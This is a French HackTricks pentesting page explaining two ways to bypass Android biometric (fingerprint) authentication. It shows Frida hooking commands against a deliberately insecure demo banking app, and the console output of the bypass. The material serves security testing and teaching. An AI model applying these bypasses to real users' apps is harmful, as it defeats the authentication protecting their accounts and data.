# Contourner l'authentification biométrique (Android)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
Ces méthodes ont été copiées depuis [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/) ## **Méthode 1 - Lorsque l'objet crypto n'est pas utilisé** La mise en œuvre de l'authentification repose sur l'appel du rappel _**onAuthenticationSucceded**_ . Les chercheurs de F-Secure ont développé un [**script Frida**](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) qui peut être utilisé pour **contourner** l'objet _**CryptoObject**_ NULL dans _**onAuthenticationSucceeded(…)**_. Le script contournera automatiquement l'empreinte digitale lorsque la méthode susmentionnée est appelée. Voici un court exemple qui montre le contournement pour l'empreinte digitale Android. L'application complète peut être téléchargée depuis mon [GitHub](https://github.com/St3v3nsS/InsecureBanking). ```javascript biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() { @Override public void onAuthenticationSucceeded(@NonNull BiometricPrompt.AuthenticationResult result) { Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show(); } }); ``` ``` frida -U -f com.st3v3nss.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js ``` ### **Méthode 2 - Gestion des exceptions** Ce [**script Frida**](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) développé par F-Secure peut être utilisé pour contourner l'utilisation non sécurisée de l'objet crypto. Tout ce que le script doit faire est d'appeler manuellement _**onAuthenticationSucceded**_ avec un _**CryptoObject**_ **non autorisé** (non déverrouillé par empreinte digitale) stocké dans le Keystore. Le problème est que si l'application tente d'utiliser un autre objet de chiffrement, alors une **exception sera levée**. Ce script tentera d'appeler _**onAuthenticationSucceded**_ et de capturer l'exception _**javax.crypto.IllegalBlockSizeException**_ dans la classe _Cipher_. Désormais, **tous les objets utilisés par l'application seront chiffrés à l'aide de cette nouvelle clé**. ``` frida -U -f com.st3v3nss.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js ``` Maintenant, allez sur l'écran d'empreinte digitale et attendez que la fonction _authenticate()_ soit appelée. Une fois que vous la voyez à l'écran, tapez _**bypass()**_ dans la console Frida : ``` Spawning `com.st3v3nss.insecurebankingfingerprint`... [Android Emulator 5554::com.st3v3nss.insecurebankingfingerprint ]-> Hooking BiometricPrompt.authenticate()... Hooking BiometricPrompt.authenticate2()... Hooking FingerprintManager.authenticate()... [Android Emulator 5554::com.st3v3nss.insecurebankingfingerprint ]-> bypass() ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.